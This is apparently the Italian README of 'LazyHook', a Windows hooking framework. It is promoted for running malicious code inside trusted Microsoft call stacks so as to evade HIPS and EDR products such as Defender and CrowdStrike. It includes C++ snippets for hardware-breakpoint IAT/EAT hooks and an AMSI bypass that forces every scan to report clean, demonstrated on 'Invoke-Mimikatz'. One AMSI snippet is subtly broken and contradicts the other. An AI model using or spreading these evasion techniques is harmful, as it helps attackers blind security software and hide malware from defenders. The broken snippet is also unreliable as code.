hwbp/lazyhookEludi l'analisi comportamentale eseguendo codice malevolo all'interno di stack di chiamate Microsoft attendibili, hooking senza patch della libreria IAT/EAT.
LazyHook è un framework di hooking API furtivo che aggira i sistemi di prevenzione delle intrusioni host (HIPS) tramite lo spoofing dello stack di chiamate. Sfruttando i breakpoint hardware a livello di CPU e la gestione vettoriale delle eccezioni (VEH), esegue codice arbitrario come se provenisse da moduli attendibili firmati Microsoft, ingannando completamente i motori di analisi comportamentale che si affidano all'ispezione dello stack di chiamate e alla verifica dell'origine dei moduli.
Eludi l'analisi comportamentale eseguendo codice malevolo all'interno di stack di chiamate Microsoft attendibili
Usa breakpoint hardware + VEH per dirottare funzioni legittime e falsificare l'origine dei moduli
I sistemi di prevenzione delle intrusioni host (HIPS) e i motori di analisi comportamentale monitorano le applicazioni tramite:
Sistemi come Kaspersky System Watcher, Windows Defender, Cylance e CrowdStrike impiegano tutte varianti di queste tecniche.
Dirottando una funzione in un assembly firmato Microsoft (ad es., System.Windows.Forms.dll, user32.dll), possiamo eseguire logica arbitraria all'interno di uno stack di chiamate che appare completamente legittimo.
Nota: è possibile eseguire un JmpHook, che aggancia MsgBox -> e subito dopo la chiamata passa al tuo codice personalizzato. LazyHook non fa questo
Perché Funziona:
Il software di sicurezza vede il secondo scenario e pensa: "MessageBoxA da user32.dll sta chiamando API Windows? Questo è un comportamento normale."
┌─────────────────────────────────────────────────────────┐
│ 1. Chiamata alla Funzione Target │
│ ↓ │
│ 2. Il Registro di Debug della CPU si Attiva (DR0-DR3) │
│ ↓ │
│ 3. EXCEPTION_SINGLE_STEP Sollevata │
│ ↓ │
│ 4. Il Gestore VEH Intercetta l'Eccezione │
│ ↓ │
│ 5. Esecuzione Reindirizzata alla Funzione di Hook │
│ ↓ │
│ 6. CallOriginal() Disabilita Temporaneamente il Breakpoint │
│ ↓ │
│ 7. La Funzione Originale Viene Eseguita │
│ ↓ │
│ 8. Breakpoint Riattivato │
└─────────────────────────────────────────────────────────┘
Intercetta le funzioni importate individuando il loro indirizzo nella IAT e impostando un breakpoint hardware. Questo aggancia l'import specifico nel tuo processo.
HookIAT("user32.dll", "MessageBoxA", HookFunction, &OriginalFunction);
Aggancia globalmente le funzioni esportate da una DLL risolvendo il loro indirizzo tramite la tabella di esportazione. Questo influisce su tutte le chiamate a quell'export.
HookEAT("amsi.dll", "AmsiScanBuffer", HookFunction, &OriginalFunction);
La demo inclusa mostra tre scenari pratici:
Dimostra l'hooking IAT intercettando le chiamate a MessageBoxA e modificando il messaggio visualizzato:
int WINAPI HookMessageBoxA(HWND H, LPCSTR T, LPCSTR C, UINT U)
{
printf("[*] MessageBoxA hooked!\n");
return LazyHook::CallOriginal<int>(LazyHook::GetIatState(), H, "Hooked!", ">:)", U);
}
Mostra come monitorare le operazioni sui file registrando le chiamate a CreateFileA:
HANDLE WINAPI HookCreateFileA(LPCSTR Filename, ...)
{
printf("[*] CreateFileA hooked: %s\n", Filename);
return LazyHook::CallOriginal<HANDLE>(...);
}
Dimostra il bypass del software di sicurezza forzando tutte le scansioni AMSI a restituire risultati puliti:
HRESULT WINAPI HookAmsiScanBuffer(...)
{
printf("[*] AmsiScanBuffer hooked! Bypassing...\n");
HRESULT OrgResult = LazyHook::CallOriginal<HRESULT>(...);
(*Result) = AMSI_RESULT_CLEAN; // Forza pulito indipendentemente dal contenuto
return OrgResult;
}
La demo testa il bypass AMSI scansionando "Invoke-Mimikatz" (una stringa nota come malevola) e mostra che viene classificata come pulita.
Layout DR7 (Semplificato):
- Bit 0,2,4,6: Flag di abilitazione per DR0-DR3 (Abilitazione Locale)
- Bit 16-31: Condizioni del breakpoint (Esecuzione, Scrittura, IO, R/W)
Il framework configura DR7 per:
Il gestore VEH:
EXCEPTION_SINGLE_STEPEXCEPTION_CONTINUE_EXECUTION per riprendere dall'hooktemplate<typename Ret, typename... Args>
Ret CallOriginal(VehHookState* State, Args... args)
{
RemoveHardwareBreakpoint(State->DrIndex); // Disabilita temporaneamente
Ret Result = ((FuncType)State->OriginalFunction)(args...);
SetHardwareBreakpoint(State->OriginalFunction, State->DrIndex); // Riattiva
return Result;
}
La demo mostra l'aggancio di AmsiScanBuffer per forzare risultati di scansione puliti:
HRESULT WINAPI HookAmsiScanBuffer(...)
{
HRESULT Result = LazyHook::CallOriginal<HRESULT>(...);
(*Result) = AMSI_RESULT_CLEAN; // Forza risultato pulito
return Result;
}
Questo dimostra come il comportamento del software di sicurezza può essere modificato a runtime intercettando chiamate API critiche.
Aggancia CreateFileA per registrare l'accesso ai file senza modificare il comportamento dell'applicazione:
HANDLE WINAPI HookCreateFileA(LPCSTR Filename, ...)
{
printf("File accessed: %s\n", Filename);
return LazyHook::CallOriginal<HANDLE>(...);
}
Questo codice dimostra tecniche avanzate di evasione per:
⚠️ Avvertenza: L'uso non autorizzato per aggirare controlli di sicurezza, modificare il comportamento del software o eludere protezioni può violare le leggi contro i crimini informatici (CFAA, GDPR, legislazione equivalente). Questo framework è fornito solo per ricerca sulla sicurezza educativa e autorizzata.
Comprendere le tecniche offensive costruisce difese migliori.